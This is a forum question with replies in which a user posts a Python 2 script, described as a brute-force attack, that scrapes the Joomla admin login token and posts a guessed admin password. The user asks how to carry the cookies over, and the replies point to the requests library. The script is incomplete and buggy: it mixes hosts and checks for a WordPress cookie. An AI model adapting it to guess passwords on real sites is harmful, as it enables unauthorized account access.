1

I'm trying to make a simple script (brute force attack) on Joomla to try if it works.

#! /usr/bin/python
import re #regex
import urllib
import urllib2
x = urllib2.urlopen("http://www.demosite.center/joomla/administrator/index.php") #GET Request
find_in   = x.read()
cookies=x.headers['set-cookie'] #to get the cookies from get request 
the_lhash = re.findall(r"([a-fA-F\d]{32})", find_in) #it'll be list 
the_hash  = the_lhash[0] #str 
print the_hash # the hash from get req
password="demo123"
print password,
url = 'http://demo.opensourcecms.com/joomla/administrator/index.php' # to know the values type any password to know the cookies 
values = {"username" : "admin",
          "passwd" : password,
          "lang" : "" ,
          "option" : "com_login",
          "task" : "login",
          "return" : "aW5kZXgucGhw",
      the_hash : "1"  } # request with the hash 

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
result = response.read() 
cookies=response.headers['set-cookie'] #to get the last cookies from post req in this variable
opener = urllib2.build_opener() # send the cookies
opener.addheaders.append(('Cookie', cookies)) # send the cookies
f = opener.open("http://demo.opensourcecms.com/joomla/administrator/index.php")
if cookies.find("wordpress_logged_i")!=-1:
  print the_hash +"\n"
  print " -> success\n",
else:
  print the_hash 
  print " -> fail\n",

Then I searched in Google how to send cookies inside the same POST request and found:

opener = urllib2.build_opener() # send the cookies
opener.addheaders.append(('Cookie', cookies)) # send the cookies
f = opener.open("http://example")

But I don't know where exactly should I type it in my code.

What I need to do is to send the GET request, put the cookies from the request in a variable, then make a POST request with the value that I got from the GET request.

  • What is the problem? – Ubaidah Jul 31 '15 at 23:23
  • 3
    This seems like a straight programming problem. Stackoverflow.com may be better for it – Neil Smithline Jul 31 '15 at 23:25
  • try Burpsuite pro . – auth private Aug 1 '15 at 3:18
  • Consider renaming your post to "Common Security Vulnerability" – rook Aug 1 '15 at 4:56
  • i tried @NeilSmithline but they couldn't help me ,,, i need to send one Get request then i'll have the md5 hash & the cookies then send one POST request with the parameters and the cookies – smile Aug 1 '15 at 12:03
0

it is really not clear to me what is the question but it seems you have a problem with sending and receiving the cookie.

But I think you should look at the following python package

http://docs.python-requests.org/en/latest/user/quickstart/#

http://docs.python-requests.org/en/latest/user/quickstart/#cookies

But I think this is really a programming question more than a security related question

|improve this answer|||||
  • please if you have skype i want to add you if you don't mind,, i'm trying to make get request to get that hash from joomla and the cookies and then send post request with them i will edit my question – smile Jul 31 '15 at 23:29

Not the answer you're looking for? Browse other questions tagged or ask your own question.